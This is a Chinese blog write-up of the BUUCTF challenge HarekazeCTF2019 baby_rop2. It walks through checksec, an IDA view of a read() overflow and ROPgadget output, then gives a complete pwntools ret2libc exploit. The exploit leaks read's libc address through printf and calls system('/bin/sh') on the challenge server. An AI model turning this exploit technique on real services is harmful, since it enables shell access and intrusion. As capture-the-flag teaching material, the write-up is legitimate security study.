buuctf27 [HarekazeCTF2019]baby_rop2 1

1.checksec

在这里插入图片描述
只开启了NX保护

2.ida

在这里插入图片描述
溢出点在v5 = read(0, buf, 0x100uLL);处,buf离栈底的距离为0x28(64位ebp占8位)。
shift+f12没有发现后门函数,故应构造rop链,发现函数调用了printf函数与read函数,故可使用printf函数的plt表调用printf函数以泄露read函数的真实地址,64位elf通过寄存器传递参数,使用命令:ROPgadget --binary pwn27 --only 'pop|ret’查看返回地址
在这里插入图片描述
其中400733 : pop rdi ; ret
400731 : pop rsi ; pop r15 ; ret比较关键
因为寄存器传参的前2个分别是rdi,rsi
构造printf函数的2个参数时只需要2个寄存器
但是使用printf函数打印地址时需要有一个带有%s的字符串,即可寻到"Welcome to the Pwn World again, %s!\n"的地址将其放入printf的第一个参数

exp

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

r = remote("node4.buuoj.cn",25083)
#r = process("./pwn27")
elf = ELF("./pwn27")
libc = ELF("./ubantu1664.so")

#params
rdi_addr = 0x400733
rsi_r15_addr = 0x400731
main_addr = elf.symbols['main']
printf_plt=elf.plt['printf']
read_got=elf.got['read']
format_str = 0x400770

#print(p64(format_str))
#attack
payload=b'a'*(0x20+8) + p64(rdi_addr) + p64(format_str) + p64(rsi_r15_addr) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)

r.sendline(payload)

read_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#print("read_addr: " + hex(read_addr))

#libc
base_addr = read_addr - libc.symbols['read']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + (hex(system_addr)))
print("bin_sh_addr: " + (hex(bin_sh_addr)))

#attack2
payload=b'a'*(0x20+8) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
#r.recv()
r.sendline(payload)

r.interactive()

最后拿到shell后还不能直接cat flag需使用命令find -name flag寻到flag的文件所在的位置
在这里插入图片描述
进入那个文件cat flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值